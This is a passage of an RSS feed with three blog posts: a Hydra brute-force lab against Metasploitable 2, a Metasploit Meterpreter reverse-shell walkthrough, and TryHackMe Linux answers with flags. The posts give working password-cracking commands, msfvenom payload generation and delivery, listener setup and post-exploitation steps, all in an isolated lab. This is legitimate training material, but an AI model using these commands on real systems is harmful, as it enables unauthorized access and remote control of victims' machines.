            <link>https://medium.com/@LobaMegaTon/why-hydra-couldnt-crack-metasploitable-s-ssh-and-what-worked-instead-69c8228cb0d3?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/69c8228cb0d3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[metasploitable]]></category>
            <category><![CDATA[fail]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Wed, 09 Apr 2025 04:30:04 GMT</pubDate>
            <atom:updated>2025-04-09T04:30:04.807Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azokItlleVpdo9Ca7X2LPg.png" /><figcaption>My home Lab :D</figcaption></figure><p>In my home lab, I wanted to get hands on experience using <strong>Hydra</strong>, the powerful brute force tool, to crack services running on <strong>Metasploitable 2</strong>. My lab setup included:</p><ul><li>🧰 <strong>Kali Linux</strong> (attacker VM)</li><li>🛡️ <strong>Metasploitable 2</strong> (target VM)</li><li>💻 <strong>Windows 10</strong> (extra machine for flexibility/testing)</li></ul><p>My goal: brute force the SSH service on Metasploitable using Hydra from Kali.</p><h3>🧪 Step 1: Lab Setup</h3><p>I configured all VMs on a <strong>host only VirtualBox network</strong>, so they could talk to each other without internet interference.</p><p>After booting Metasploitable, I ran ifconfig to confirm its IP (in my case: 10.10.10.1) and ensured Kali could reach it:</p><pre>ping 10.10.10.1</pre><p>Then I ran a quick Nmap scan from Kali:</p><pre>nmap -sV 10.10.10.1</pre><p>Port <strong>22/tcp (SSH)</strong> was open. With the known default login msfadmin, this looked like the perfect brute force target.</p><h3>🔁 Step 2: Hydra Fails to Connect</h3><p>I fired up Hydra with this command:</p><pre>hydra -t 1 -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.</pre><p>Hydra threw back the following error:</p><pre>kex error: no match for method server host key algo</pre><p>At first, I thought it might be a simple syntax issue. But this led me down a deeper rabbit hole.</p><h3>🔎 Step 3: Diagnosing the Real Issue</h3><p>After some digging, I realized that <strong>Metasploitable 2 uses an ancient version of OpenSSH</strong> one that only supports outdated key algorithms like:</p><ul><li>ssh-rsa</li><li>ssh-dss</li></ul><p>Modern SSH clients and Hydra’s libssh backend <strong>don’t accept these by default</strong> anymore, due to security concerns. Hydra was failing <strong>before</strong> even attempting to brute force credentials because the key exchange phase was incompatible.</p><h3>🧠 Step 4: Editing the SSH Config (Multiple Attempts)</h3><p>I attempted the standard fix: editing the SSH client config in Kali to allow those legacy algorithms.</p><p>I created and edited ~/.ssh/config with this content:</p><pre>Host 10.10.10.1<br>    HostKeyAlgorithms ssh-rsa,ssh-dss<br>    PubkeyAcceptedAlgorithms ssh-rsa,ssh-dss</pre><p>I double checked everything:</p><ul><li>Removed quotes ✅</li><li>Used updated keywords (PubkeyAcceptedAlgorithms instead of deprecated PubkeyAcceptedKeyTypes) ✅</li><li>Set proper file permissions with chmod 600 ~/.ssh/config ✅</li></ul><p>Still no luck. The error persisted.</p><h3>💣 Step 5: Going Nuclear with Inline SSH Options</h3><p>Since the config file wasn’t being respected or enough to force compatibility, I tried a direct, one liner approach using inline options:</p><pre>ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa msfadmin@10.10.10.1</pre><p><strong>Success.</strong><br> The password prompt appeared. Manual SSH login worked using the forced legacy algorithms.</p><p>This proved two things:</p><ul><li>The SSH service on Metasploitable was up and functioning</li><li>The credentials (msfadmin) were valid</li></ul><p>The issue was entirely due to <strong>crypto negotiation</strong>.</p><h3>❌ Step 6: Hydra Still Doesn’t Support Legacy SSH</h3><p>Even though manual SSH login worked with overrides, Hydra doesn’t provide a way to force those algorithms in the same way.</p><p>Result: it still failed with the same kex error.</p><p>At this point, I realized Hydra simply isn’t compatible with ancient SSH servers like the one on Metasploitable 2.</p><h3>✅ Step 7: Pivoting to FTP And It Worked!</h3><p>Rather than give up on Hydra entirely, I turned to another service: <strong>FTP</strong>, which is also open on Metasploitable.</p><p>I ran:</p><pre>hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.1</pre><p>Within seconds credentials found ✅<br> Hydra worked perfectly with FTP, as expected, since it doesn’t rely on any cryptographic key negotiation.</p><h3>🧠 Key Takeaways</h3><ul><li><strong>Hydra + SSH + Metasploitable 2 = No Go</strong>, due to legacy crypto issues</li><li>Manual SSH login <em>does</em> work when using forced algorithm overrides</li><li>Hydra works great with <strong>FTP, Telnet, HTTP forms (DVWA)</strong> which are still exploitable and educational</li><li>Knowing when to pivot is crucial sometimes it’s not your syntax, it’s the tool’s limitation</li></ul><h3>🚀 Final Thoughts</h3><p>This experience was a deep dive into how legacy systems and modern tools can clash. I didn’t expect a brute force lab to turn into a lesson in deprecated encryption but here we are.</p><p>If you’re experimenting with Hydra, <strong>Metasploitable is still a fantastic playground</strong> just don’t expect it to play nice with newer tools on SSH.</p><p>Instead, go after:</p><ul><li><strong>FTP</strong></li><li><strong>Telnet</strong></li><li><strong>HTTP login forms (e.g., DVWA)</strong></li></ul><p>Or break out Metasploit for a more flexible, protocol aware approach.</p><p>Stay curious and don’t be afraid to go nuclear when needed. 💻🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69c8228cb0d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simulating a Reverse Shell with Metasploit’s Meterpreter Payload (Lab Walkthrough)]]></title>
            <link>https://medium.com/@LobaMegaTon/simulating-a-reverse-shell-with-metasploits-meterpreter-payload-lab-walkthrough-b9ed5690d527?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9ed5690d527</guid>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Fri, 04 Apr 2025 01:36:49 GMT</pubDate>
            <atom:updated>2025-04-04T01:36:49.619Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Ivan Lobaton| Cybersecurity Portfolio</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*AyMCS717MxxSTmHWoeMc8A.png" /></figure><h3>🔎 Overview</h3><p>This post walks through the simulation of a reverse shell attack using the Metasploit Framework and its Meterpreter payload. This lab was built entirely in a controlled, offline environment using VirtualBox. The objective was to practice post-exploitation techniques and document the end-to-end workflow, from payload generation to session capture.</p><h3>🚀 Objective</h3><p>Simulate a realistic attack where a Windows machine downloads and executes a Meterpreter payload, resulting in a reverse shell session back to a Kali Linux attacker.</p><h3>📂 Lab Environment</h3><p>Component: Kali Linux, Windows 10, Virtual Box</p><p>Role: Attacker, Victim, Hypervisor</p><p>Details: IP: 10.10.10.2 (Host-Only), 10.10.10.3(Host-Only), Host-Only Network 10.10.10.0/24</p><h3>🛠️ Step-by-Step Guide</h3><h3>1. Generate Payload</h3><p>Using msfvenom on Kali:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=4444 -f exe &gt; shell.exe</pre><h3>2. Host the Payload</h3><p>Serve the malicious .exe using a Python HTTP server:</p><pre>python3 -m http.server 80</pre><h3>3. Simulate Victim Clicking a Link</h3><p>On the Windows VM:</p><ul><li>Open a browser</li><li>Navigate to: <a href="http://10.10.10.2/shell.exe">http://10.10.10.2/shell.exe</a></li><li>Download and execute the payload</li></ul><h3>4. Start the Metasploit Listener</h3><p>In Kali:</p><pre>msfconsole<br>use exploit/multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set LHOST 10.10.10.2<br>set LPORT 4444<br>run</pre><h3>5. Meterpreter Shell Opens!</h3><p>When the payload executes, a reverse TCP connection is made back to the attacker, and a Meterpreter session opens:</p><pre>meterpreter &gt; sysinfo<br>meterpreter &gt; getuid<br>meterpreter &gt; shell</pre><h3>🔒 Post-Exploitation Commands</h3><p>CommandPurposesysinfoView victim OS/system infogetuidSee user privilegesshellDrop to Windows command linescreenshotCapture victim&#39;s desktop image</p><h3>🚫 Disclaimer &amp; Ethics</h3><p>This lab was conducted in a <strong>fully isolated environment</strong> for educational purposes. All systems involved were under my control. Unauthorized access to networks or systems without consent is illegal and unethical.</p><h3>📅 Final Thoughts</h3><p>This exercise provided hands-on experience with payload crafting, delivery, and post-exploitation using Metasploit. It reinforces the importance of endpoint protection, user awareness, and network segmentation in defending against these types of attacks.</p><p>Feel free to reach out if you’d like to collaborate or see more of my work in penetration testing and cybersecurity!</p><p><em>#Cybersecurity #Metasploit #ReverseShell #EthicalHacking #RedTeam #CyberLab #Portfolio #TryHackMe #HackTheBox</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9ed5690d527" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Fundamentals Part 3]]></title>
            <link>https://medium.com/@LobaMegaTon/linux-fundamentals-part-3-a5301bcb2e8c?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5301bcb2e8c</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[linus-torvalds]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Mon, 24 Feb 2025 15:43:32 GMT</pubDate>
            <atom:updated>2025-02-24T15:43:32.668Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone!</p><p>I’ve been working through the TryHackMe Linux Fundamentals series, and in this post, I’m sharing my understanding of Part 3. I’ll walk you through the solutions step-by-step, explaining the key concepts along the way. Let’s learn together!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*TnwvUkeLNaW-XM0HOm32oQ.jpeg" /></figure><p><strong>Task 3 Terminal Text Editors</strong></p><p>What is Nano and Vim? They are both text editors in Linux; Nano is simple and user friendly while Vim is a powerful feature rich editor with a steeper learning curve.</p><p>Create a file using Nano: Submit</p><p>Open the “task3” file located in the “tryhackme” home directory using Nano. What is the flag?</p><p>Navigate through your machine by changing directories until you locate the “task3” file. Once found, open it using: nano task3</p><p>The file should contain: THM{TEXT_EDITOR}.</p><p><strong>Task4 General/ Useful Utilities</strong></p><p>What is Wget? This command allows us to download files from the web as if you were normally doing it through a browser.</p><p>What is SCP? SCP means secure copy, instead of using the regular cp command it secures it using ssh protocol meaning it is mainly used when transferring files to another machine.</p><p>What is python3 http server? Python3 server is a lightweight easy to use server meant for quick file transfers between machines. Using commands “curl” and “wget”</p><p>Ensure you are connected to the deployed instance (<strong>MACHINE_IP</strong>).</p><p>1. Ensure you are connected to the deployed insance (MACHINE_IP)</p><ol><li>Start a Python 3 HTTP server in the <strong>tryhackme</strong> user’s home directory using: python3 -m http.server 8000</li><li>In a new terminal, download the file <a href="http://machine_ip:8000/.flag.txt">http://MACHINE_IP:8000/.flag.txt</a> onto the TryHackMe AttackBox using : wget <a href="http://machine_ip:8000/.flag.txt">http://MACHINE_IP:8000/.flag.txt</a></li><li>The flag should be : THM{WGET_WEBSERVER}.</li></ol><p>Task 5 Processes 101</p><p>What are processes? Processes are running programs or instances on your machine, managed by the kernel. Each process is assigned a unique identifier called a <strong>PID (Process ID)</strong>, which is incremented based on the order in which processes start.</p><p>How do we view these processes ? You can run the command “ps” to view the processes, it will even list CPU usage and time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*AjkXiIbWA39_H9UU_h-5GA.png" /><figcaption>Ex :Viewing processes has many commands,</figcaption></figure><p>Viewing processes has many commands,</p><p>Ps</p><p>ps aux</p><p>Managing Services</p><p>systemctl start,stop,enable,disable</p><p>If we were to launch a process where the previous ID was “300”, what would the ID of this new process be?</p><p>Remember anytime the process is restarted it will lose its previous number because it is a first come first serve basis. In this case I’d be 301.</p><p>If we wanted to <strong>cleanly </strong>kill a process, what signal would we send it?</p><p>SIGTERM</p><p>Locate the process that is running on the deployed instance (10.10.105.46). What flag is given?</p><p>Type command: ps aux | less find flag named : THM{PROCESSES}</p><p>What command would we use to stop the service “myservice”?</p><p>systemctl stop myservice</p><p>What command would we use to start the same service on the boot-up of the system?</p><p>systemctl enable myservice</p><p>What command would we use to bring a previously backgrounded process back to the foreground?</p><p>Fg</p><p>Task 6 Maintaining your system: Automation</p><p>What is cron &amp; cron tables? Cron is a job scheduler in Unix-like systems that automates tasks by running scripts or commands at specified times, managed through crontabs (cron tables), which define scheduled jobs.</p><p>Task 8 : Maintaining Your System: Logs</p><p>What is the IP address of the user who visited the site?</p><p>10.9.232.111</p><p>What file did they access?</p><p>catsanddogs.jpg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*b2yDFS5InOl4JZmgtHoxIA.png" /><figcaption>Logs</figcaption></figure><p>Task 9 : Conclusions &amp; Summaries</p><p>In conclusion, we’ve covered a range of essential topics designed to empower your system management skills. From mastering terminal text editors and utilizing general utilities like downloading content and running a Python webserver, to understanding system processes and automating tasks with crontabs, package management, and log reviews each segment is a stepping stone towards more efficient and secure system operations. Thank you for joining this journey of discovery; may these insights inspire you to further explore and apply these crucial techniques in your own cybersecurity endeavors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5301bcb2e8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>